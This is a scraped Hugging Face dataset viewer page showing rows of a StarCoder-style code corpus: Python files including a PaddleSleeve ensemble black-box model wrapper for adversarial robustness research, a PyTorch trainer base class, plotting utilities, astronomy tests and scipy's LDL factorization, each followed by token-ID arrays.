paulo037/starcoder · Datasets at Hugging Face

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AdvBox/models/blackbox.py	honshj/PaddleSleeve	41	79265	<gh_stars>10-100 # Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ Paddle Model """ from __future__ import absolute_import from __future__ import print_function from .base import Model import paddle import logging logger = logging.getLogger(__name__) import numpy as np import os class PaddleBlackBoxModel(Model): """ PaddleBlackBoxModel *also support adversarial sample generation based on weighted multi-model ensemble attack. """ def __init__(self, model_list, model_weights, bounds=None, mean=None, std=None, input_channel_axis=None, input_shape=None, loss=None, nb_classes=None): """ Paddle model for black box attack. Args: model_list: List. A list of Paddle2 model. model_weights: List. A list of float weights for each model to consider. loss: Paddle.Op. Loss function for supervised classification. bounds(tuple): (float, float). The value range (lower and upper bound) of the model input before standard normal distribution transform (pre-normalized domain). Most of datasets' value range is (0, 1), for instance, MNIST & Cifar10. Some of datasets' value range is (-1, 1). mean(list): The mean value of each channel if used 01 normalization. If None, it is [0]. std(list): The std value of each channel if used 01 normalization. If None, it is [1]. input_channel_axis(int): The index of the axis that represents the color channel. input_shape(tuple): The dimension of input sample. nb_classes: int. number of classification class. """ assert len(model_list) == len(model_weights) assert loss is not None super(PaddleBlackBoxModel, self).__init__( bounds=bounds, mean=mean, std=std, input_channel_axis=input_channel_axis, input_shape=input_shape) self._model_list = model_list self._model_weights = model_weights self._weighted_ensemble_model = self.ensemble_models(model_list, model_weights) self._loss = loss self._nb_classes = nb_classes def predict_name(self): """ Get the predict name, such as "softmax",etc. :return: string """ return None def predict(self, data): """ Calculate the prediction of the data. Args: data: Numpy.ndarray Input data with shape (size, height, width, channels). Return: numpy.ndarray: Predictions of the data with shape (batch_size, num_of_classes). """ # freeze BN when forwarding for model in self._model_list: for param in model.parameters(): param.stop_gradient = True for module in model.sublayers(): if isinstance(module, (paddle.nn.BatchNorm, paddle.nn.BatchNorm1D, paddle.nn.BatchNorm2D, paddle.nn.BatchNorm3D)): # print("evaled!!") module.eval() tensor_data = paddle.to_tensor(data, dtype='float32', place=self._device) predict = self._weighted_ensemble_model(tensor_data) # free model parameter for model in self._model_list: for param in model.parameters(): param.stop_gradient = False for module in model.sublayers(): if isinstance(module, (paddle.nn.BatchNorm, paddle.nn.BatchNorm1D, paddle.nn.BatchNorm2D, paddle.nn.BatchNorm3D)): # print("trained!!") module.train() return predict.numpy() def predict_tensor(self, data): """ Calculate the prediction of the data. Usually used for compute grad for input. Args: data: Paddle.Tensor input data with shape (size, height, width, channels). Return: numpy.ndarray: predictions of the data with shape (batch_size, num_of_classes). """ # freeze BN when forwarding for model in self._model_list: for param in model.parameters(): param.stop_gradient = True for module in model.sublayers(): if isinstance(module, (paddle.nn.BatchNorm, paddle.nn.BatchNorm1D, paddle.nn.BatchNorm2D, paddle.nn.BatchNorm3D)): # print("evaled!!") module.eval() # Run prediction predict = self._weighted_ensemble_model(data) # free model parameter for model in self._model_list: for param in model.parameters(): param.stop_gradient = False for module in model.sublayers(): if isinstance(module, (paddle.nn.BatchNorm, paddle.nn.BatchNorm1D, paddle.nn.BatchNorm2D, paddle.nn.BatchNorm3D)): # print("trained!!") module.train() return predict def num_classes(self): """ Calculate the number of classes of the output label. Return: int: the number of classes """ return self._nb_classes def gradient(self, data, label, optimizer=None): """ Calculate the gradient of the cross-entropy loss w.r.t the image. Args: data: Numpy.ndarray input with shape as (size, height, width, channels). label: Int used to compute the gradient. When ensemble multi-models, keep labels consistent for all models. optimizer: An optimizer to compute input gradient. It should comply to different attack methods. Return: numpy.ndarray: gradient of the cross-entropy loss w.r.t the image with the shape (height, width, channel). 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BackEnd/venv/lib/python3.8/site-packages/pytest_cov/__init__.py	MatheusBrodt/App_LabCarolVS	1	101396	<reponame>MatheusBrodt/App_LabCarolVS<filename>BackEnd/venv/lib/python3.8/site-packages/pytest_cov/__init__.py """pytest-cov: avoid already-imported warning: PYTEST_DONT_REWRITE.""" __version__ = "2.7.1"	[ 1, 529, 276, 1112, 420, 29958, 9782, 354, 375, 29933, 5964, 29873, 29914, 2052, 29918, 28632, 8179, 324, 21819, 29966, 9507, 29958, 5841, 5044, 29914, 854, 29894, 29914, 1982, 29914, 4691, 29941, 29889, 29947, 29914, 2746, 29899, 8318, 29914, 2272, 1688, 29918, 24542, 29914, 1649, 2344, 26914, 2272, 13, 15945, 29908, 2272, 1688, 29899, 24542, 29901, 4772, 2307, 29899, 5215, 287, 9177, 29901, 349, 29979, 18267, 29918, 29928, 1164, 29911, 29918, 1525, 16365, 1213, 15945, 13, 1649, 3259, 1649, 353, 376, 29906, 29889, 29955, 29889, 29896, 29908, 13, 2 ]
probnmn/trainers/_trainer.py	kdexd/probnmn-clevr	69	35272	<gh_stars>10-100 from typing import Any, Dict, Generator, List, Optional import torch from torch import nn, optim from torch.utils.data import DataLoader from tensorboardX import SummaryWriter from probnmn.config import Config from probnmn.utils.checkpointing import CheckpointManager class _Trainer(object): r""" A base class for generic training of models. This class can have multiple models interacting with each other, rather than a single model, which is suitable to our use-case (for example, ``module_training`` phase has two models: :class:`~probnmn.models.program_generator.ProgramGenerator` and :class:`~probnmn.models.nmn.NeuralModuleNetwork`). It offers full flexibility, with sensible defaults which may be changed (or disabled) while extending this class. Extended Summary ---------------- 1. Default :class:`~torch.optim.Adam` Optimizer, updates parameters of all models in this trainer. Learning rate and weight decay for this optimizer are picked up from the provided config. 2. Default :class:`~torch.optim.lr_scheduler.ReduceLROnPlateau` learning rate scheduler. Gamma and patience arguments are picked up from the provided config. Observed metric is assumed to be of type "higher is better". For 'lower is better" metrics, make sure to reciprocate. 3. Tensorboard logging of loss curves, metrics etc. 4. Serialization of models and optimizer as checkpoint (.pth) files after every validation. The observed metric for keeping track of best checkpoint is of type "higher is better", follow (2) above if the observed metric is of type "lower is better". Extend this class and override suitable methods as per requirements, some important ones are: 1. :meth:`step`, provides complete customization, this is the method which comprises of one full training iteration, and internally calls (in order) - :meth:`_before_iteration`, :meth:`_do_iteration` and :meth:`_after_iteration`. Most of the times you may not require overriding this method, instead one of the mentioned three methods called by `:meth:`step`. 2. :meth:`_do_iteration`, with core training loop - what happens every iteration, given a ``batch`` from the dataloader this class holds. 3. :meth:`_before_iteration` and :meth:`_after_iteration`, for any pre- or post-processing steps. Default behaviour: * :meth:`_before_iteration` - call ``optimizer.zero_grad()`` * :meth:`_after_iteration` - call ``optimizer.step()`` and do tensorboard logging. 4. :meth:`after_validation`, to specify any steps after evaluation. Default behaviour is to do learning rate scheduling and log validation metrics on tensorboard. Notes ----- All models are `passed by assignment`, so they could be shared with an external evaluator. Do not set ``self._models = ...`` anywhere while extending this class. Parameters ---------- config: Config A :class:`~probnmn.Config` object with all the relevant configuration parameters. dataloader: torch.utils.data.DataLoader A :class:`~torch.utils.data.DataLoader` which provides batches of training examples. It wraps one of :mod:`probnmn.data.datasets` depending on the evaluation phase. models: Dict[str, Type[nn.Module]] All the models which interact with each other during training. These are one or more from :mod:`probnmn.models` depending on the training phase. serialization_dir: str Path to a directory for tensorboard logging and serializing checkpoints. gpu_ids: List[int], optional (default=[0]) List of GPU IDs to use or evaluation, ``[-1]`` - use CPU. """ def __init__( self, config: Config, dataloader: DataLoader, models: Dict[str, nn.Module], serialization_dir: str, gpu_ids: List[int] = [0], ): self._C = config # Make dataloader cyclic for sampling batches perpetually. self._dataloader = self._cycle(dataloader) self._models = models # Set device according to specified GPU ids. self._device = torch.device(f"cuda:{gpu_ids[0]}" if gpu_ids[0] >= 0 else "cpu") # Shift models to device, and wrap in DataParallel for Multi-GPU execution (if needed). for model_name in self._models: self._models[model_name] = self._models[model_name].to(self._device) if len(gpu_ids) > 1 and -1 not in gpu_ids: # Don't wrap to DataParallel if single GPU ID or -1 (CPU) is provided. self._models[model_name] = nn.DataParallel(self._models[model_name], gpu_ids) # Accumulate parameters of all models to construct Adam Optimizer. all_parameters: List[Any] = [] for model_name in self._models: all_parameters.extend(list(self._models[model_name].parameters())) self._optimizer = optim.Adam( all_parameters, lr=self._C.OPTIM.LR_INITIAL, weight_decay=self._C.OPTIM.WEIGHT_DECAY ) # Default learning rate scheduler: (lr = gamma) when observed metric plateaus for # "patience" number of validation steps. self._lr_scheduler = optim.lr_scheduler.ReduceLROnPlateau( self._optimizer, mode="max", factor=self._C.OPTIM.LR_GAMMA, patience=self._C.OPTIM.LR_PATIENCE, threshold=1e-3, ) # Tensorboard summary writer for logging losses and metrics. self._tensorboard_writer = SummaryWriter(log_dir=serialization_dir) # Checkpoint manager to serialize model, optimizer and lr scheduler periodically. self._checkpoint_manager = CheckpointManager( serialization_dir=serialization_dir, keep_recent=100, optimizer=self._optimizer, scheduler=self._lr_scheduler, *models, ) # Initialize a counter to keep track of the iteration number. # This increments everytime ``step`` is called. self._iteration: int = -1 def step(self, iteration: Optional[int] = None): r""" Perform one iteration of training. Parameters ---------- iteration: int, optional (default = None) Iteration number (useful to hard set to any number when loading checkpoint). If ``None``, use the internal :attr:`self._iteration` counter. """ self._before_iteration() batch = next(self._dataloader) output_dict = self._do_iteration(batch) self._after_iteration(output_dict) self._iteration = iteration or self._iteration + 1 def _before_iteration(self): r""" Steps to do before doing the forward pass of iteration. Default behavior is to simply call :meth:`zero_grad` for optimizer. Called inside :meth:`step`. """ self._optimizer.zero_grad() def _do_iteration(self, batch: Dict[str, Any]) -> Dict[str, Any]: r""" Forward and backward passes on models, given a batch sampled from dataloader. Parameters ---------- batch: Dict[str, Any] A batch of training examples sampled from dataloader. See :func:`step` and :meth:`_cycle` on how this batch is sampled. Returns ------- Dict[str, Any] An output dictionary typically returned by the models. This would be passed to :meth:`_after_iteration` for tensorboard logging. """ # What a single iteration usually would look like. iteration_output_dict = self._models["model"](batch) batch_loss = iteration_output_dict["loss"].mean() batch_loss.backward() return {"loss": batch_loss} def _after_iteration(self, output_dict: Dict[str, Any]): r""" Steps to do after doing the forward pass of iteration. Default behavior is to simply do gradient update through ``optimizer.step()``, and log metrics to tensorboard. Parameters ---------- output_dict: Dict[str, Any] This is exactly the object returned by :meth:_do_iteration`, which would contain all the required losses for tensorboard logging. """ self._optimizer.step() # keys: {"loss"} + ... {other keys such as "elbo"} for key in output_dict: if isinstance(output_dict[key], dict): # Use ``add_scalars`` for dicts in a nested ``output_dict``. self._tensorboard_writer.add_scalars( f"train/{key}", output_dict[key], self._iteration ) else: # Use ``add_scalar`` for floats / zero-dim tensors in ``output_dict``. self._tensorboard_writer.add_scalar( f"train/{key}", output_dict[key], self._iteration ) def after_validation(self, val_metrics: Dict[str, Any], iteration: Optional[int] = None): r""" Steps to do after an external :class:`~probnmn.evaluators._evaluator._Evaluator` performs evaluation. This is not called by :meth:`step`, call it from outside at appropriate time. Default behavior is to perform learning rate scheduling, serializaing checkpoint and to log validation metrics to tensorboard. Since this implementation assumes a key ``"metric"`` in ``val_metrics``, it is convenient to set this key while overriding this method, when there are multiple models and multiple metrics and there is one metric which decides best checkpoint. Parameters ---------- val_metrics: Dict[str, Any] Validation metrics for all the models. Returned by ``evaluate`` method of :class:`~probnmn.evaluators._evaluator._Evaluator` (or its extended class). iteration: int, optional (default = None) Iteration number. If ``None``, use the internal :attr:`self._iteration` counter. """ if iteration is not None: self._iteration = iteration # Serialize model and optimizer and keep track of best checkpoint. self._checkpoint_manager.step(self._iteration, val_metrics["metric"]) # Perform learning rate scheduling based on validation perplexity. self._lr_scheduler.step(val_metrics["metric"]) # Log learning rate after scheduling. self._tensorboard_writer.add_scalar( "train/lr", self._optimizer.param_groups[0]["lr"], self._iteration ) # Log all validation metrics to tensorboard (pop the "metric" key, which was only relevant # to learning rate scheduling and checkpointing). val_metrics.pop("metric") for model_name in val_metrics: for metric_name in val_metrics[model_name]: self._tensorboard_writer.add_scalar( f"val/metrics/{model_name}/{metric_name}", val_metrics[model_name][metric_name], self._iteration, ) def load_checkpoint(self, checkpoint_path: str, iteration: Optional[int] = None): r""" Load a checkpoint to continue training from. The iteration when this checkpoint was serialized, is inferred from its name (so do not rename after serialization). Parameters ---------- checkpoint_path: str Path to a checkpoint containing models and optimizers of the phase which is being trained on. iteration: int, optional (default = None) Iteration number. If ``None``, get it from the checkpoint. """ _iteration = self._checkpoint_manager.load(checkpoint_path) # By default, the provided iteration overrides what is found in checkpoint. iteration = iteration or _iteration self._iteration = iteration def _cycle(self, dataloader: DataLoader) -> Generator[Dict[str, torch.Tensor], None, None]: r""" A generator which yields a random batch from dataloader perpetually. This generator is used in the constructor. Extended Summary ---------------- This is done so because we train for a fixed number of iterations, and do not have the notion of 'epochs'. Using ``itertools.cycle`` with dataloader is harmful and may cause unexpeced memory leaks. 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24372, 29892, 322, 437, 451, 505, 278, 13, 4706, 17837, 310, 525, 1022, 2878, 29879, 4286, 5293, 4954, 1524, 8504, 29889, 23090, 16159, 411, 1418, 7003, 1664, 338, 10311, 1319, 322, 1122, 4556, 13, 4706, 443, 735, 412, 1133, 3370, 454, 10327, 29889, 13, 4706, 9995, 13, 4706, 1550, 5852, 29901, 13, 9651, 363, 9853, 297, 1418, 7003, 1664, 29901, 13, 18884, 363, 1820, 297, 9853, 29901, 13, 462, 1678, 9853, 29961, 1989, 29962, 353, 9853, 29961, 1989, 1822, 517, 29898, 1311, 3032, 10141, 29897, 13, 18884, 7709, 9853, 13, 13, 1678, 732, 6799, 13, 1678, 822, 12541, 29898, 1311, 1125, 13, 4706, 736, 1583, 3032, 1524, 362, 13, 13, 1678, 732, 6799, 13, 1678, 822, 4733, 29898, 1311, 1125, 13, 4706, 736, 1583, 3032, 9794, 13, 2 ]
02 laban data/lmadatagen/lmadatagen/Prettyplots.py	SMC7-2019/ASDF-RNN	4	1605453	<filename>02 laban data/lmadatagen/lmadatagen/Prettyplots.py #!/usr/bin/env python # coding: utf-8 # In[1]: import numpy as np import matplotlib.pyplot as plt from matplotlib.lines import Line2D # In[2]: joint_hier = [ ('head', 'neck', 'blue'), ('neck', 'root', 'darkred'), ('root', 'clavicle', 'brown'), ('neck', 'leftShoulder', 'red'), ('leftShoulder', 'leftElbow', 'darkred'), ('leftElbow', 'leftWrist', 'orange'), ('neck', 'rightShoulder', 'orange'), ('rightShoulder', 'rightElbow', 'lightgreen'), ('rightElbow', 'rightWrist', 'green'), ('clavicle', 'leftHip', 'green'), ('leftHip', 'leftKnee', 'lightgreen'), ('leftKnee', 'leftAnkle', 'lightblue'), ('clavicle', 'rightHip', 'lightblue'), ('rightHip', 'rightKnee', 'cyan'), ('rightKnee', 'rightAnkle', 'blue') ] # In[3]: def plt_keyframe_curve(ax, keyframes, curve): curve = curve / np.amax(curve) ax.plot(range(0, len(curve)), curve, 'r', alpha=0.9) ax.scatter(keyframes, curve[keyframes], color='k', marker="$F$") ax.set_xlim(0, len(curve)) ax.set_ylim(0.0, 1.2) ax.set(xlabel='Samples [fs=30]') ax.set(ylabel=r'Normalized angle $\theta$, $\theta$ $\epsilon$ [0, $\pi$]') ax.legend(['Curve', 'Keyframe']) # In[4]: def plt_keyframe_skeleton(ax, keyframes, positions, scale=200.): pos = positions pos['root'] = np.zeros_like(pos['head']) pos['neck'] = (pos['leftShoulder'] + pos['rightShoulder']) / 2. pos['clavicle'] = (pos['leftHip'] + pos['rightHip']) / 2. for frame in keyframes: lines = [] for f, t, c in joint_hier: p1 = pos[f][frame] p2 = pos[t][frame] x = [p1[0]scale + frame, p2[0]scale + frame] y = [p1[1], p2[1]] lines.append(Line2D(x, y, color=c)) ax.scatter(x, y, color=c, alpha=0.9) for l in lines: ax.add_line(l) ax.set_xlim(min(keyframes) - scale//10, max(keyframes) + scale//10) ax.set_ylim(scale, -scale) #ax.set_ylim(0.5scale, -0.25scale) ax.set_xticks(tuple(keyframes)) ax.set_xticklabels(keyframes) ax.set(xlabel='Keyframes') # In[ ]:	[ 1, 529, 9507, 29958, 29900, 29906, 9775, 273, 848, 29914, 29880, 19581, 271, 5370, 29914, 29880, 19581, 271, 5370, 29914, 6572, 4349, 26762, 29889, 2272, 13, 29937, 14708, 4855, 29914, 2109, 29914, 6272, 3017, 13, 29937, 14137, 29901, 23616, 29899, 29947, 13, 13, 29937, 512, 29961, 29896, 5387, 13, 13, 13, 5215, 12655, 408, 7442, 13, 5215, 22889, 29889, 2272, 5317, 408, 14770, 13, 3166, 22889, 29889, 9012, 1053, 7407, 29906, 29928, 13, 13, 13, 29937, 512, 29961, 29906, 5387, 13, 13, 13, 12090, 29918, 29882, 631, 353, 518, 13, 1678, 6702, 2813, 742, 525, 484, 384, 742, 525, 9539, 5477, 13, 1678, 6702, 484, 384, 742, 525, 4632, 742, 525, 26031, 1127, 5477, 13, 1678, 6702, 4632, 742, 525, 29883, 4112, 2512, 742, 525, 29890, 4708, 5477, 13, 1678, 6702, 484, 384, 742, 525, 1563, 26857, 261, 742, 525, 1127, 5477, 29871, 13, 1678, 6702, 1563, 26857, 261, 742, 525, 1563, 6489, 17729, 742, 525, 26031, 1127, 5477, 29871, 13, 1678, 6702, 1563, 6489, 17729, 742, 525, 1563, 29956, 2021, 742, 525, 272, 927, 5477, 13, 1678, 6702, 484, 384, 742, 525, 1266, 26857, 261, 742, 525, 272, 927, 5477, 29871, 13, 1678, 6702, 1266, 26857, 261, 742, 525, 1266, 6489, 17729, 742, 525, 4366, 12692, 5477, 29871, 13, 1678, 6702, 1266, 6489, 17729, 742, 525, 1266, 29956, 2021, 742, 525, 12692, 5477, 13, 1678, 6702, 29883, 4112, 2512, 742, 525, 1563, 29950, 666, 742, 525, 12692, 5477, 29871, 13, 1678, 6702, 1563, 29950, 666, 742, 525, 1563, 29968, 484, 29872, 742, 525, 4366, 12692, 5477, 29871, 13, 1678, 6702, 1563, 29968, 484, 29872, 742, 525, 1563, 2744, 29895, 280, 742, 525, 4366, 9539, 5477, 13, 1678, 6702, 29883, 4112, 2512, 742, 525, 1266, 29950, 666, 742, 525, 4366, 9539, 5477, 29871, 13, 1678, 6702, 1266, 29950, 666, 742, 525, 1266, 29968, 484, 29872, 742, 525, 1270, 273, 5477, 29871, 13, 1678, 6702, 1266, 29968, 484, 29872, 742, 525, 1266, 2744, 29895, 280, 742, 525, 9539, 1495, 13, 29962, 13, 13, 13, 29937, 512, 29961, 29941, 5387, 13, 13, 13, 1753, 14770, 29918, 1989, 2557, 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448, 29900, 29889, 29906, 29945, 29930, 7052, 29897, 13, 1678, 4853, 29889, 842, 29918, 486, 7358, 29898, 23583, 29898, 1989, 19935, 876, 13, 1678, 4853, 29889, 842, 29918, 486, 860, 21134, 29898, 1989, 19935, 29897, 13, 1678, 4853, 29889, 842, 29898, 29916, 1643, 2433, 2558, 19935, 1495, 13, 268, 13, 13, 13, 29937, 512, 29961, 4514, 29901, 13, 13, 13, 13, 13, 2 ]
Udemy/GeekUniversity/secao_4/ex2.py	SandboxGTASA/Python-1	0	65932	# Faça um programa que leia um numero real e imprima num_real = float(input('Entre com um numero real: ')) print(f'O numero real digitado foi: {num_real}')	[ 1, 396, 7748, 4277, 1922, 16914, 712, 454, 423, 1922, 17910, 1855, 321, 16921, 2946, 13, 13, 1949, 29918, 6370, 353, 5785, 29898, 2080, 877, 5292, 276, 419, 1922, 17910, 1855, 29901, 525, 876, 13, 2158, 29898, 29888, 29915, 29949, 17910, 1855, 13615, 912, 4732, 29901, 426, 1949, 29918, 6370, 29913, 1495, 13, 2 ]
vespa/tests/test_fpp.py	timothydmorton/vespa	37	161417	<reponame>timothydmorton/vespa from __future__ import print_function, division import os, os.path import unittest import tempfile from vespa.fpp import FPPCalculation import pkg_resources ROOT = os.path.abspath(os.path.join(os.path.dirname(__file__))) class TestFPP(unittest.TestCase): name = 'kepler-22' ini_file = 'fpp.ini' n = 200 recalc = True refit_trap = False cadence = 0.02 # should be what is in ini files def setUp(self): dirname = os.path.join(ROOT, self.name) self.f = FPPCalculation.from_ini(dirname, ini_file=self.ini_file, n=self.n, recalc=self.recalc, refit_trap=self.refit_trap) def test_cadence(self): for pop in self.f.modelnames: assert self.f[pop].cadence == self.cadence def test_fpp(self): fpp = self.f.FPP() assert fpp > 0 def test_bootstrap(self): h, lines = self.f.bootstrap_FPP(N=3) for line in lines: assert float(line.split()[-1]) > 0 class TestFPP_CC(TestFPP): ini_file = 'fpp_cc.ini' recalc= False class TestFPP_CC2(TestFPP): ini_file = 'fpp_cc2.ini' recalc = False # class TestFPP_cadence(TestFPP): # ini_file = 'fpp_cadence.ini' # cadence = 0.01 # should be same as in fpp_cadence.ini # def test_cadence(self): # for pop in self.f.modelnames: # assert self.f[pop].cadence == self.cadence	[ 1, 529, 276, 1112, 420, 29958, 9346, 720, 2941, 29885, 26342, 29914, 1960, 3274, 13, 3166, 4770, 29888, 9130, 1649, 1053, 1596, 29918, 2220, 29892, 8542, 13, 13, 5215, 2897, 29892, 2897, 29889, 2084, 13, 5215, 443, 27958, 13, 5215, 5694, 1445, 13, 13, 3166, 28999, 3274, 29889, 29888, 407, 1053, 383, 18009, 27065, 362, 13, 13, 5215, 282, 9415, 29918, 13237, 13, 13, 21289, 353, 2897, 29889, 2084, 29889, 370, 1028, 493, 29898, 359, 29889, 2084, 29889, 7122, 29898, 359, 29889, 2084, 29889, 25721, 22168, 1445, 1649, 4961, 13, 13, 1990, 4321, 29943, 18009, 29898, 348, 27958, 29889, 3057, 8259, 1125, 13, 1678, 1024, 353, 525, 446, 20069, 29899, 29906, 29906, 29915, 13, 1678, 297, 29875, 29918, 1445, 353, 525, 29888, 407, 29889, 2172, 29915, 13, 1678, 302, 353, 29871, 29906, 29900, 29900, 13, 1678, 337, 28667, 353, 5852, 13, 1678, 2143, 277, 29918, 29873, 2390, 353, 7700, 13, 1678, 13840, 663, 353, 29871, 29900, 29889, 29900, 29906, 396, 881, 367, 825, 338, 297, 297, 29875, 2066, 13, 13, 1678, 822, 731, 3373, 29898, 1311, 1125, 13, 4706, 4516, 978, 353, 2897, 29889, 2084, 29889, 7122, 29898, 21289, 29892, 1583, 29889, 978, 29897, 13, 4706, 1583, 29889, 29888, 353, 383, 18009, 27065, 362, 29889, 3166, 29918, 2172, 29898, 25721, 29892, 297, 29875, 29918, 1445, 29922, 1311, 29889, 2172, 29918, 1445, 29892, 13, 462, 462, 1678, 302, 29922, 1311, 29889, 29876, 29892, 337, 28667, 29922, 1311, 29889, 276, 28667, 29892, 13, 462, 462, 1678, 2143, 277, 29918, 29873, 2390, 29922, 1311, 29889, 999, 277, 29918, 29873, 2390, 29897, 13, 13, 1678, 822, 1243, 29918, 29883, 328, 663, 29898, 1311, 1125, 13, 4706, 363, 1835, 297, 1583, 29889, 29888, 29889, 1545, 3478, 1280, 29901, 13, 9651, 4974, 1583, 29889, 29888, 29961, 7323, 1822, 29883, 328, 663, 1275, 1583, 29889, 29883, 328, 663, 13, 13, 1678, 822, 1243, 29918, 29888, 407, 29898, 1311, 1125, 13, 4706, 285, 407, 353, 1583, 29889, 29888, 29889, 29943, 18009, 580, 13, 4706, 4974, 285, 407, 1405, 29871, 29900, 13, 13, 1678, 822, 1243, 29918, 8704, 29898, 1311, 1125, 13, 4706, 298, 29892, 3454, 353, 1583, 29889, 29888, 29889, 8704, 29918, 29943, 18009, 29898, 29940, 29922, 29941, 29897, 13, 4706, 363, 1196, 297, 3454, 29901, 13, 9651, 4974, 5785, 29898, 1220, 29889, 5451, 580, 14352, 29896, 2314, 1405, 29871, 29900, 13, 13, 1990, 4321, 29943, 18009, 29918, 4174, 29898, 3057, 29943, 18009, 1125, 13, 1678, 297, 29875, 29918, 1445, 353, 525, 29888, 407, 29918, 617, 29889, 2172, 29915, 13, 1678, 337, 28667, 29922, 7700, 13, 13, 1990, 4321, 29943, 18009, 29918, 4174, 29906, 29898, 3057, 29943, 18009, 1125, 13, 1678, 297, 29875, 29918, 1445, 353, 525, 29888, 407, 29918, 617, 29906, 29889, 2172, 29915, 13, 1678, 337, 28667, 353, 7700, 13, 13, 29937, 770, 4321, 29943, 18009, 29918, 29883, 328, 663, 29898, 3057, 29943, 18009, 1125, 13, 29937, 268, 297, 29875, 29918, 1445, 353, 525, 29888, 407, 29918, 29883, 328, 663, 29889, 2172, 29915, 13, 29937, 268, 13840, 663, 353, 29871, 29900, 29889, 29900, 29896, 396, 881, 367, 1021, 408, 297, 285, 407, 29918, 29883, 328, 663, 29889, 2172, 13, 13, 29937, 268, 822, 1243, 29918, 29883, 328, 663, 29898, 1311, 1125, 13, 29937, 308, 363, 1835, 297, 1583, 29889, 29888, 29889, 1545, 3478, 1280, 29901, 13, 29937, 632, 4974, 1583, 29889, 29888, 29961, 7323, 1822, 29883, 328, 663, 1275, 1583, 29889, 29883, 328, 663, 13, 2 ]
scipy/linalg/_decomp_ldl.py	smola/scipy	2	195886	from __future__ import division, print_function, absolute_import from warnings import warn import numpy as np from numpy import (atleast_2d, ComplexWarning, arange, zeros_like, imag, diag, iscomplexobj, tril, triu, argsort, empty_like) from .decomp import _asarray_validated from .lapack import get_lapack_funcs, _compute_lwork __all__ = ['ldl'] def ldl(A, lower=True, hermitian=True, overwrite_a=False, check_finite=True): """ Computes the LDLt or Bunch-Kaufman factorization of a symmetric/ hermitian matrix. This function returns a block diagonal matrix D consisting blocks of size at most 2x2 and also a possibly permuted unit lower triangular matrix ``L`` such that the factorization ``A = L D L^H`` or ``A = L D L^T`` holds. If ``lower`` is False then (again possibly permuted) upper triangular matrices are returned as outer factors. The permutation array can be used to triangularize the outer factors simply by a row shuffle, i.e., ``lu[perm, :]`` is an upper/lower triangular matrix. This is also equivalent to multiplication with a permutation matrix ``P.dot(lu)``, where ``P`` is a column-permuted identity matrix ``I[:, perm]``. Depending on the value of the boolean ``lower``, only upper or lower triangular part of the input array is referenced. Hence, a triangular matrix on entry would give the same result as if the full matrix is supplied. Parameters ---------- a : array_like Square input array lower : bool, optional This switches between the lower and upper triangular outer factors of the factorization. Lower triangular (``lower=True``) is the default. hermitian : bool, optional For complex-valued arrays, this defines whether ``a = a.conj().T`` or ``a = a.T`` is assumed. For real-valued arrays, this switch has no effect. overwrite_a : bool, optional Allow overwriting data in ``a`` (may enhance performance). The default is False. check_finite : bool, optional Whether to check that the input matrices contain only finite numbers. Disabling may give a performance gain, but may result in problems (crashes, non-termination) if the inputs do contain infinities or NaNs. Returns ------- lu : ndarray The (possibly) permuted upper/lower triangular outer factor of the factorization. d : ndarray The block diagonal multiplier of the factorization. perm : ndarray The row-permutation index array that brings lu into triangular form. Raises ------ ValueError If input array is not square. ComplexWarning If a complex-valued array with nonzero imaginary parts on the diagonal is given and hermitian is set to True. Examples -------- Given an upper triangular array `a` that represents the full symmetric array with its entries, obtain `l`, 'd' and the permutation vector `perm`: >>> import numpy as np >>> from scipy.linalg import ldl >>> a = np.array([[2, -1, 3], [0, 2, 0], [0, 0, 1]]) >>> lu, d, perm = ldl(a, lower=0) # Use the upper part >>> lu array([[ 0. , 0. , 1. ], [ 0. , 1. , -0.5], [ 1. , 1. , 1.5]]) >>> d array([[-5. , 0. , 0. ], [ 0. , 1.5, 0. ], [ 0. , 0. , 2. ]]) >>> perm array([2, 1, 0]) >>> lu[perm, :] array([[ 1. , 1. , 1.5], [ 0. , 1. , -0.5], [ 0. , 0. , 1. ]]) >>> lu.dot(d).dot(lu.T) array([[ 2., -1., 3.], [-1., 2., 0.], [ 3., 0., 1.]]) Notes ----- This function uses ``?SYTRF`` routines for symmetric matrices and ``?HETRF`` routines for Hermitian matrices from LAPACK. See [1]_ for the algorithm details. Depending on the ``lower`` keyword value, only lower or upper triangular part of the input array is referenced. Moreover, this keyword also defines the structure of the outer factors of the factorization. .. versionadded:: 1.1.0 See also -------- cholesky, lu References ---------- .. [1] <NAME>, <NAME>, Some stable methods for calculating inertia and solving symmetric linear systems, Math. Comput. Vol.31, 1977. DOI: 10.2307/2005787 """ a = atleast_2d(_asarray_validated(A, check_finite=check_finite)) if a.shape[0] != a.shape[1]: raise ValueError('The input array "a" should be square.') # Return empty arrays for empty square input if a.size == 0: return empty_like(a), empty_like(a), np.array([], dtype=int) n = a.shape[0] r_or_c = complex if iscomplexobj(a) else float # Get the LAPACK routine if r_or_c is complex and hermitian: s, sl = 'hetrf', 'hetrf_lwork' if np.any(imag(diag(a))): warn('scipy.linalg.ldl():\nThe imaginary parts of the diagonal' 'are ignored. Use "hermitian=False" for factorization of' 'complex symmetric arrays.', ComplexWarning, stacklevel=2) else: s, sl = 'sytrf', 'sytrf_lwork' solver, solver_lwork = get_lapack_funcs((s, sl), (a,)) lwork = _compute_lwork(solver_lwork, n, lower=lower) ldu, piv, info = solver(a, lwork=lwork, lower=lower, overwrite_a=overwrite_a) if info < 0: raise ValueError('{} exited with the internal error "illegal value ' 'in argument number {}". See LAPACK documentation ' 'for the error codes.'.format(s.upper(), -info)) swap_arr, pivot_arr = _ldl_sanitize_ipiv(piv, lower=lower) d, lu = _ldl_get_d_and_l(ldu, pivot_arr, lower=lower, hermitian=hermitian) lu, perm = _ldl_construct_tri_factor(lu, swap_arr, pivot_arr, lower=lower) return lu, d, perm def _ldl_sanitize_ipiv(a, lower=True): """ This helper function takes the rather strangely encoded permutation array returned by the LAPACK routines ?(HE/SY)TRF and converts it into regularized permutation and diagonal pivot size format. Since FORTRAN uses 1-indexing and LAPACK uses different start points for upper and lower formats there are certain offsets in the indices used below. Let's assume a result where the matrix is 6x6 and there are two 2x2 and two 1x1 blocks reported by the routine. To ease the coding efforts, we still populate a 6-sized array and fill zeros as the following :: pivots = [2, 0, 2, 0, 1, 1] This denotes a 